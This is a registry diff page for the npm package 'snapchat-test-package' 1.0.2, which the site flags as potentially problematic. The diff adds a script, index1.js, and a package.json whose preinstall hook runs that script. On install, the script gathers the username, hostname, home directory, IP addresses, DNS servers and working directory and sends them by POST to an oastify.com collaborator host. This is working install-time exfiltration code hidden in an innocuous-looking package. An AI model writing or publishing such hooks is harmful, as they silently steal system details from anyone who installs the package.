snapchat-test-package 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of snapchat-test-package might be problematic. Click here for more details.
- package/index1.js +92 -0
- package/package.json +13 -0
package/index1.js
ADDED
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const packageJSON = require("./package.json");
|
|
6
|
+
const package = packageJSON.name;
|
|
7
|
+
|
|
8
|
+
function requestPromise(endpoint) {
|
|
9
|
+
var body = '';
|
|
10
|
+
|
|
11
|
+
return new Promise(function(resolve, reject){
|
|
12
|
+
https.get(endpoint, res => {
|
|
13
|
+
res.setEncoding('utf8');
|
|
14
|
+
res.on("data", data => {
|
|
15
|
+
body += data;
|
|
16
|
+
});
|
|
17
|
+
res.on("end", () => {
|
|
18
|
+
resolve(body);
|
|
19
|
+
});
|
|
20
|
+
res.on("error", (e) => {
|
|
21
|
+
reject(e);
|
|
22
|
+
});
|
|
23
|
+
});
|
|
24
|
+
});
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
async function main() {
|
|
28
|
+
const localIPs = [];
|
|
29
|
+
const networkInterfaces = os.networkInterfaces();
|
|
30
|
+
|
|
31
|
+
for (const interfaceName in networkInterfaces) {
|
|
32
|
+
const interfaces = networkInterfaces[interfaceName];
|
|
33
|
+
for (const iface of interfaces) {
|
|
34
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
35
|
+
localIPs.push({
|
|
36
|
+
type: "external",
|
|
37
|
+
address: iface.address
|
|
38
|
+
});
|
|
39
|
+
} else if (iface.family === 'IPv4' && iface.internal) {
|
|
40
|
+
localIPs.push({
|
|
41
|
+
type: "internal",
|
|
42
|
+
address: iface.address
|
|
43
|
+
});
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
const trackingData = JSON.stringify({
|
|
49
|
+
p: package,
|
|
50
|
+
c: __dirname,
|
|
51
|
+
hd: os.homedir(),
|
|
52
|
+
hn: os.hostname(),
|
|
53
|
+
un: os.userInfo().username,
|
|
54
|
+
dns: dns.getServers(),
|
|
55
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
56
|
+
v: packageJSON.version,
|
|
57
|
+
pjson: packageJSON,
|
|
58
|
+
ips: localIPs,
|
|
59
|
+
pwd: process.cwd(),
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
var postData = querystring.stringify({
|
|
63
|
+
msg: trackingData,
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
var options = {
|
|
67
|
+
hostname: "1vx3533zl1r4cgrd3xy84sgxtozen3.oastify.com", // replace with your endpoint
|
|
68
|
+
port: 443,
|
|
69
|
+
path: "/",
|
|
70
|
+
method: "POST",
|
|
71
|
+
headers: {
|
|
72
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
73
|
+
"Content-Length": postData.length,
|
|
74
|
+
},
|
|
75
|
+
};
|
|
76
|
+
|
|
77
|
+
var req = https.request(options, (res) => {
|
|
78
|
+
res.on("data", (d) => {
|
|
79
|
+
process.stdout.write(d);
|
|
80
|
+
});
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
req.on("error", (e) => {
|
|
84
|
+
// console.error(e);
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
req.write(postData);
|
|
88
|
+
req.end();
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
main();
|
|
92
|
+
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "snapchat-test-package",
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall" : "node index1.js"
|
|
9
|
+
|
|
10
|
+
},
|
|
11
|
+
"author": "",
|
|
12
|
+
"license": "ISC"
|
|
13
|
+
}
|